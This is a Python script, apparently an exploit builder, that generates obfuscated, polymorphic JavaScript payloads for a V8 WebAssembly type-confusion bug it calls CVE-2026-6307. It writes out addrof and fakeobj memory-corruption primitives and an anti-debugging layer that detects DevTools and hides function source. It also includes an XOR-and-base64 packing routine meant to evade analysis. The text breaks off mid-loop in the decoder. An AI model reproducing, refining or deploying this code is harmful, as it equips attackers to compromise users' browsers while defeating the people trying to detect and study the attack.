#!/usr/bin/env python3 """ gen.py - Maximum Obfuscation + Anti-Debug + Polymorphic CVE-2026-6307 Payload Generator """ import argparse, base64, random, string, zlib, hashlib from datetime import datetime # ====================== POLYMORPHIC PRIMITIVES ====================== def get_polymorphic_primitives(): suffix = ''.join(random.choices(string.hexdigits.lower(), k=8)) return f"""// CVE-2026-6307 Longinus - Polymorphic Build function _0x{suffix}() {{ const b = new WasmModuleBuilder(); const c = b.addImport('env','callback',kSig_v_v); const r = b.addGlobal(kWasmExternRef,true,false).exportAs('g_ref'); const i = b.addGlobal(kWasmI64,true,false).exportAs('g_i64'); b.addFunction('rr',kSig_r_v).addBody([kExprCallFunction,c,kExprGlobalGet,r.index]).exportFunc(); b.addFunction('rl',kSig_l_v).addBody([kExprCallFunction,c,kExprGlobalGet,i.index]).exportFunc(); return b.instantiate({{env:{{callback}}}}).exports; }} function addrof(t) {{ let d = false; function L{suffix[0:4]}() {{}} function R{suffix[4:8]}() {{}} const e = _0x{suffix}(() => {{ if (d) R{suffix[4:8]}.prototype.x = 1; }}); Object.defineProperty(L{suffix[0:4]}.prototype,'x',{{get:e.rl,configurable:true}}); Object.defineProperty(R{suffix[4:8]}.prototype,'x',{{get:e.rr,configurable:true}}); function f(o) {{ return o.x; }} const a = new L{suffix[0:4]}(), b = new R{suffix[4:8]}(); e.g_ref.value = t; e.g_i64.value = 43n; %PrepareFunctionForOptimization(f); for (let i = 0; i < 20; ++i) {{ f(a); f(b); }} %OptimizeFunctionOnNextCall(f); f(a); d = true; return f(b); }} function fakeobj(a) {{ let d = false; function M{suffix[0:4]}() {{}} function N{suffix[4:8]}() {{}} const e = _0x{suffix}(() => {{ if (d) N{suffix[4:8]}.prototype.x = 1; }}); Object.defineProperty(M{suffix[0:4]}.prototype,'x',{{get:e.rr,configurable:true}}); Object.defineProperty(N{suffix[4:8]}.prototype,'x',{{get:e.rl,configurable:true}}); function f(o) {{ return o.x; }} const x = new M{suffix[0:4]}(), y = new N{suffix[4:8]}(); e.g_ref.value = {{m:1}}; e.g_i64.value = a; %PrepareFunctionForOptimization(f); for (let i = 0; i < 20; ++i) {{ f(x); f(y); }} %OptimizeFunctionOnNextCall(f); f(x); d = true; return f(y); }} """ ANTI_DEBUG = """ // Anti-Debug Layer (function() { if (typeof window !== 'undefined') { const start = Date.now(); debugger; if (Date.now() - start > 50) { console.clear(); return; // Debugger detected } // Detect DevTools const devtools = /Chrome/.test(navigator.userAgent) && window.outerWidth - window.innerWidth > 100; if (devtools) return; } // Function integrity check const orig = Function.prototype.toString; Function.prototype.toString = function() { if (this.toString.toString().includes('native')) return orig.call(this); return ''; }; })(); """ def polymorphic_encode(payload: str) -> str: compressed = zlib.compress(payload.encode('utf-8'), level=9);key = random.randint(0x10, 0xFF);xored = bytes(b ^ key for b in compressed);chunks = [base64.b64encode(xored[i:i+48]).decode() for i in range(0, len(xored), 48)];decoder = f""" (function() {{ {ANTI_DEBUG} let parts = {chunks}; let raw = parts.join(''); let key = {key}; let buf = new Uint8Array(raw.length); for (let i=0; i